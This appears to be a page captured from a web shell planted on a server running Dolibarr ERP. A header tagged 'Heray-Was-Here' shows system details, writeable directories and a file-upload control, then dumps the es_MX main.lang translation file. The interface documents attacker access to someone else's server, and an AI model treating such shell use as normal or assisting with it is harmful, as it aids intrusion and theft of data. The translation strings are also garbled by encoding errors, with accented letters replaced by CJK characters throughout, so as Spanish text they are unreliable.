Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/langs/es_MX/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/langs/es_MX/main.lang
# Dolibarr language file - Source file is en_US - main
DIRECTION=ltr
FONTFORPDF=helvetica
FONTSIZEFORPDF=10
SeparatorDecimal=.
SeparatorThousand=,
FormatDateShort=%d/%m/%Y
FormatDateShortInput=%d/%m/%Y
FormatDateShortJava=dd/MM/yyyy
FormatDateShortJavaInput=dd/MM/yyyy
FormatDateShortJQuery=dd/mm/yy
FormatDateShortJQueryInput=dd/mm/yy
FormatHourShortJQuery=HH:MI
FormatHourShort=%I:%M %p
FormatHourShortDuration=%H:%M
FormatDateTextShort=%d %b %Y
FormatDateText=%d %B %Y
FormatDateHourShort=%I:%M %p %d/%m/%Y
FormatDateHourSecShort=%I:%M:%S %p %d/%m/%Y
FormatDateHourTextShort=%I:%M %p, %d %b %Y
FormatDateHourText=%I:%M %p, %d %B %Y
NoTemplateDefined=No hay plantilla disponible para este tipo de correo electr贸nico
AvailableVariables=Variables de sustituci贸n disponibles
CurrentTimeZone=Zona horaria PHP (servidor)
EmptySearchString=Ingrese criterios de b煤squeda que no est茅n vac铆os
NoRecordFound=Ning煤n registro fue encontrado
NoRecordDeleted=Ning煤n registro eliminado
NoError=No hay error
ErrorFieldFormat=El campo '%s' contiene un valor incorrecto
ErrorCanNotCreateDir=No se puede crear el directorio %s
ErrorCanNotReadDir=No se puede leer el directorio %s
ErrorConstantNotDefined=El par谩metro %s no ha sido definido
ErrorLogoFileNotFound=El archivo logo '%s' no fue encontrado
ErrorGoToGlobalSetup=Vaya a la configuraci贸n de "Empresa/Organizaci贸n" para solucionar este problema
ErrorGoToModuleSetup=Vaya a la configuraci贸n de M贸dulo para solucionar esto
ErrorFailedToSendMail=Fall贸 el env铆o del correo electr贸nico (remitente=%s, destinatario=%s)
ErrorFileNotUploaded=El archivo no fue transferido. Revise que el tama帽o no exceda el m谩ximo permitido, que haya espacio disponible suficiente en disco y que no exista alg煤n archivo con el mismo nombre en el mismo directorio.
ErrorWrongHostParameter=Par谩metro de servidor inv谩lido
ErrorYourCountryIsNotDefined=Su pa铆s no est谩 definido. Vaya a Inicio-Configuraci贸n-Editar y vuelva a publicar el formulario.
ErrorRecordIsUsedByChild=No se pudo borrar este registro. Este registro es utilizado por al menos un registro secundario.
ErrorWrongValue=Valor err贸neo
ErrorWrongValueForParameterX=Valor err贸neo para el par谩metro %s
ErrorServiceUnavailableTryLater=Servicio no disponible por el momento. Vuelve a intentarlo m谩s tarde.
ErrorDuplicateField=Valor duplicado en un campo 煤nico
ErrorSomeErrorWereFoundRollbackIsDone=Se encontraron algunos errores. Los cambios se han revertido.
ErrorConfigParameterNotDefined=El par谩metro <b> %s </b> no est谩 definido en el archivo de configuraci贸n de Dolibarr <b> conf.php </b>.
ErrorCantLoadUserFromDolibarrDatabase=Imposible encontrar al usuario <b>%s</b> en la base de datos de Dolibarr
ErrorNoVATRateDefinedForSellerCountry=Error, no se ha definido tasa para el IVA del pa铆s '%s'.
ErrorNoSocialContributionForSellerCountry=Error, no hay tipos de impuestos sociales/fiscales definidos para el pa铆s '%s'.
ErrorCannotAddThisParentWarehouse=Est谩 intentando agregar un almac茅n principal que ya es un elemento secundario de un almac茅n existente.
MaxNbOfRecordPerPage=N煤mero m谩ximo de registros por p谩gina
NotAuthorized=Usted no est谩 autorizado para realizar 茅sta acci贸n.
SetDate=Ajustar fecha
SeeHere=Mira aqu铆
BackgroundColorByDefault=Color de fondo por defecto
FileRenamed=El archivo se renombr贸 correctamente
FileGenerated=El archivo se gener贸 con 茅xito
FileSaved=El archivo se guard贸 con 茅xito
FileTransferComplete=Archivo(s) subidos correctamente
FilesDeleted=Archivo(s) eliminado correctamente
FileWasNotUploaded=Un archivo fue seleccionado para adjuntar, sin embargo, no ha sido cargado a煤n. De clic en "Adjuntar archivo" para 茅llo.
NbOfEntries=Numero de entradas
GoToWikiHelpPage=Leer la ayuda en l铆nea (se necesita acceso a Internet)
HomePage=P谩gina Principal
LevelOfFeature=Nivel de caracter铆sticas
NotDefined=No definido
DolibarrInHttpAuthenticationSoPasswordUseless=El modo de autenticaci贸n Dolibarr se ha establecido en <b> %s </b> en el archivo de configuraci贸n <b> conf.php </b>. <br> Esto significa que la base de datos de contrase帽as es externa a Dolibarr, por lo que cambiar este campo puede no tener ning煤n efecto.
PasswordForgotten=驴Contrase帽a olvidada?
NoAccount=驴No tiene una cuenta?
LastConnexion=脷ltimo acceso
PreviousConnexion=Inicio de sesi贸n anterior
PreviousValue=Valor anterior
ConnectedOnMultiCompany=Conectado a la entidad
AuthenticationMode=Modo de autenticaci贸n
DatabaseTypeManager=Administrador de tipo de base de datos
RequestLastAccessInError=脷ltimo error de solicitud de acceso a la base de datos
ReturnCodeLastAccessInError=C贸digo de respuesta para el 煤ltimo error de solicitud de acceso a la base de datos
InformationLastAccessInError=Informaci贸n para el 煤ltimo error de solicitud de acceso a la base de datos
YouCanSetOptionDolibarrMainProdToZero=Puede leer el archivo de registro o establecer la opci贸n $dolibarr_main_prod en '0' en su archivo de configuraci贸n para obtener m谩s informaci贸n.
InformationToHelpDiagnose=Esta informaci贸n puede ser 煤til para fines de diagn贸stico (puede establecer la opci贸n $dolibarr_main_prod en '1' para ocultar informaci贸n confidencial)
TechnicalID=ID T茅cnico
PrecisionUnitIsLimitedToXDecimals=Dolibarr fue instalado para limitar la precisi贸n de los precios unitarios a<b>%s</b> decimales.
WarningYouHaveAtLeastOneTaskLate=Advertencia, tiene al menos un elemento que ha excedido el tiempo de tolerancia.
Under=debajo
PeriodEndDate=Fecha final para ell peri贸do
SelectedPeriod=Per铆odo seleccionado
NotClosed=No se ha cerrado
Enabled=Habilitado
Enable=Permitir
Deprecated=Depreciado
Disabled=Deshabilitado
AddLink=A帽adir v铆nculo
RemoveLink=Remover enlace
AddToDraft=Agregar al borrador
Update=Actualizar
CloseBox=Elimine el widget de su tablero
ConfirmSendCardByMail=驴Realmente desea enviar el contenido de esta tarjeta por correo a <b>%s</b>?
Resiliate=Terminar
Cancel=Cancelar
ValidateAndApprove=Validar y aprobar
Save=Guardar
SaveAs=Guardar como
SaveAndStay=Guardar y quedarse
TestConnection=Probar conexi贸n
ToClone=Clonar
NoCloneOptionsSpecified=No se defini贸 informaci贸n a clonar.
Run=Ejecutar
Hide=Ocultar
ShowCardHere=Ver la ficha
QuickAdd=Adici贸n r谩pida
Valid=V谩lido
Upload=Cargar
ToLink=V铆nculo
ResizeOrCrop=Redimensionar o Recortar
NoUserGroupDefined=Ning煤n grupo definido por el usuario
NoteSomeFeaturesAreDisabled=Atenci贸n, muchas funciones/m贸dulos est谩n deshabilitadas en esta demostraci贸n.
PersonalValue=Valor personal
MultiLanguage=Multi-idioma
DescriptionOfLine=Descripci贸n de la l铆nea
DateOfLine=Fecha de linea
Model=Plantilla de documento
DefaultModel=Plantilla de documento predeterminada
Action=Evento
NumberByMonth=Informes totales por mes
AmountByMonth=Cantidad por mes
NoLogoutProcessWithAuthMode=Sin funci贸n de desconexi贸n de aplicaci贸n con el modo de autenticaci贸n <b> %s </b>
Connection=Inicio de sesi贸n
Deadline=Plazo
DateEnd=Fecha de finalizaci贸n
DateCreationShort=Fecha de creaci贸n
DateModificationShort=Fecha Modif.
DateOperation=Fecha de operaci贸n
DateOperationShort=Fecha Op.
DateBuild=Fecha de generaci贸n del informe
DatePayment=Fecha de pago
HourShort=Hr
Rate=Tasa
UseLocalTax=Incluir impuesto
DefaultValue=Valor predeterminado
PriceUTTC=P.U. (IVA incl.)
AmountInvoice=Importe de la factura
AmountPayment=Importe de pago
AmountLT1=Importe impuestos 2
AmountLT2=Importe impuestos 3
AmountAverage=Importe promedio
TotalLT1=Total impuesto 2
TotalLT2=Total impuesto 3
TTC=IVA Incluido
VATs=Impuestos de ventas
VATRate=Tasa de IVA
Average=Promedio
Modules=M贸dulos/Aplicaciones
List=Lista
FullList=Lista completa
RefPayment=Ref. Pago
CommercialProposalsShort=Propuestas comerciales
ActionsToDo=Eventos por realizar
ActionsToDoShort=Por hacer
ActionsDoneShort=Hecho
ActionNotApplicable=No aplica
ActionRunningNotStarted=Empezar
ActionDoneShort=Finalizado
ContactsForCompany=Contactos para ste tercero
ContactsAddressesForCompany=Contactos/Direcciones para este tercero
AddressesForCompany=Direcciones para este tercero
ActionsOnMember=Eventos relacionados a 茅ste miembro
NActionsLate=%s tarde
ToDo=Por hacer
Filter=Filtrar
FilterOnInto=Criterios de b煤squeda '<strong>%s</strong>' en los campos %s
RemoveFilter=Remover filtro
ChartGenerated=Gr谩fico generado
GeneratedOn=Generado en %s
NotYetAvailable=No disponible a煤n
Category=Tag/Categor铆a
ChangedBy=Cambiado por
ResultKo=Fallo
Reporting=Informes
Opened=Abierta
ByCompanies=Por terceros
Links=V铆nculos
Link=V铆nculo
Preview=Previsualizaci贸n
None=Ninguno
NoneF=Ninguno
Late=Tarde
Photo=Im谩gen
Photos=Im谩genes
AddPhoto=A帽adir im谩gen
Login=Inicio de sesi贸n
CurrentLogin=Inicio de sesi贸n actual
May=Mayo
December=diciembre
MonthShort01=Ene
MonthShort04=Abr
MonthShort08=Ago
MonthShort12=Dic
DateFormatYYYYMM=MM-YYYY
DateFormatYYYYMMDD=DD-MM-YYYY
DateFormatYYYYMMDDHHMM=DD-MM-YYYY HH:SS
ReportPeriod=Per铆odo del informe
Fill=Llenar
Reset=Reiniciar
NotAllowed=No permitido
ReadPermissionNotAllowed=Permiso de lectura no permitido
AmountInCurrency=Monto en moneda %s
NoExample=Ning煤n ejemplo
FindBug=Reportar un bug
NbOfLines=N煤mero de l铆neas
DateFrom=Desde %s
Uncheck=Desmarcar
Internals=Interno
Externals=Externo
Warning=Advertencia
Warnings=Advertencias
BuildDoc=Generar Doc
Entity=Ambiente
CustomerPreview=Vista previa del cliente
ShowCustomerPreview=Mostrar vista previa del cliente
Currency=Moneda
Undo=Deshacer
UndoExpandAll=Deshacer ampliar
FeatureNotYetSupported=Caracter铆stica a煤n no soportada
MailSentBy=Correo electr贸nico enviado por
TextUsedInTheMessageBody=Cuerpo del correo electronico
NoEMail=Sin correo electr贸nico
FollowingConstantsWillBeSubstituted=Las siguientes constantes ser谩n reemplazadas con el valor correspondiente.
Refresh=Actualizar
BackToList=Volver a la lista
GoBack=Regresar
CanBeModifiedIfOk=Puede ser modificado si es v谩lido
CanBeModifiedIfKo=Puede ser modificado si no es v谩lido
ValueIsValid=El valor es v谩lido
AutomaticCode=C贸digo autom谩tico
FeatureDisabled=Caracter铆stica deshabilitada
Offered=Presentado
NotEnoughPermissions=Usted no tiene permiso para esta acci贸n
SessionName=Nombre de sesi贸n
Receive=Recibir
Documents=Archivos vinculados
UploadDisabled=Carga deshabilitada
MenuAgendaGoogle=Agenda de Google
ThisLimitIsDefinedInSetup=L铆mite de Dolibarr (Men煤 inicio-configuraci贸n-seguridad): %s Kb, L铆mite PHP: %s Kb
CurrentMenuManager=Administrador de men煤 actual
DisabledModules=M贸dulos deshabilitados
ForCustomer=Para el cliente
HidePassword=Mostrar comando con la contrase帽a oculta
UnHidePassword=Mostrar comando real mostrando la contrase帽a
AddFile=Agregar archivo
CloneMainAttributes=Clonar objeto con sus principales atributos
PDFMerge=Unir PDF
Merge=Unir
PrintContentArea=Mostrar la p谩gina para imprimir el 谩rea de contenido principal
MenuManager=Administrar men煤
FieldsWithAreMandatory=Los campos con <b>%s</b> son obligatorios
RequiredField=Campo requerido
Hidden=Oculto
Source=Fuente
Before=Antes de
NewAttribute=Nuevo atributo
AttributeCode=C贸digo de atributo
URLPhoto=URL de la foto/logotipo
SetToDraft=Regresar a borrador
ClickToEdit=Haga clic para editar
ObjectDeleted=Objeto %s suprimido
ByCountry=Por pa铆s
ByTown=Por municipio
BySalesRepresentative=Por representante de ventas
LinkedToSpecificUsers=Vinculado a un usuario de contacto determinado
NoResults=No hay resultados
SystemTools=Herramientas de sistema
ModulesSystemTools=M贸dulos de herramientas
Test=Probar
NoPhotoYet=No hay fotos disponibles a煤n
SelectAction=Seleccione la acci贸n
HelpCopyToClipboard=Utilice Ctrl + C para copiar al portapapeles
SaveUploadedFileWithMask=Guarde el archivo en el servidor con el nombre "<strong>%s</strong>" (de lo contrario "%s")
OriginFileName=Nombre original del archivo
SetDemandReason=Seleccionar fuente
SetBankAccount=Definir Cuenta Bancaria
XMoreLines=%s l铆nea(s) oculta(s)
PublicUrl=URL P煤blica
AddBox=A帽ade una caja
Denied=Denegado
ListOfTemplates=Lista de plantillas
Gender=G茅nero
ViewList=Vista de la lista
Sincerely=Sinceramente
DeleteLine=Borrar l铆nea
ExportOptions=Opci贸nes de exportaci贸n
WebSites=P谩ginas web
ExpenseReports=Reporte de gastos
Monday=lunes
Tuesday=martes
Wednesday=mi茅rcoles
Thursday=jueves
Friday=viernes
Saturday=s谩bado
Sunday=domingo
MondayMin=Lun
TuesdayMin=Mar
WednesdayMin=Mie
ThursdayMin=Jue
FridayMin=Vie
SaturdayMin=Sab
SundayMin=Dom
Day1=lunes
Day2=martes
Day3=mi茅rcoles
Day4=jueves
Day5=viernes
Day6=s谩bado
Day0=domingo
ShortWednesday=M
ShortThursday=MJ
Select2NotFound=No se encontr贸 ning煤n resultado
Select2Enter=Entrar
SearchIntoCustomerInvoices=Facturas de clientes
SearchIntoSupplierInvoices=Facturas de proveedor
SearchIntoSupplierOrders=Ordenes de compra
SearchIntoCustomerProposals=Propuestas comerciales
SearchIntoSupplierProposals=Presupuestos de Proveedor
SearchIntoExpenseReports=Reporte de gastos
SearchIntoMiscPayments=Varios pagos
AssignedTo=Asignado a
ToProcess=Procesar
ContactDefault_agenda=Evento
ContactDefault_order_supplier=Orden de compra
ContactDefault_propal=Cotizaci贸n
ClientTZ=Zona Horaria cliente (usuario)

Hry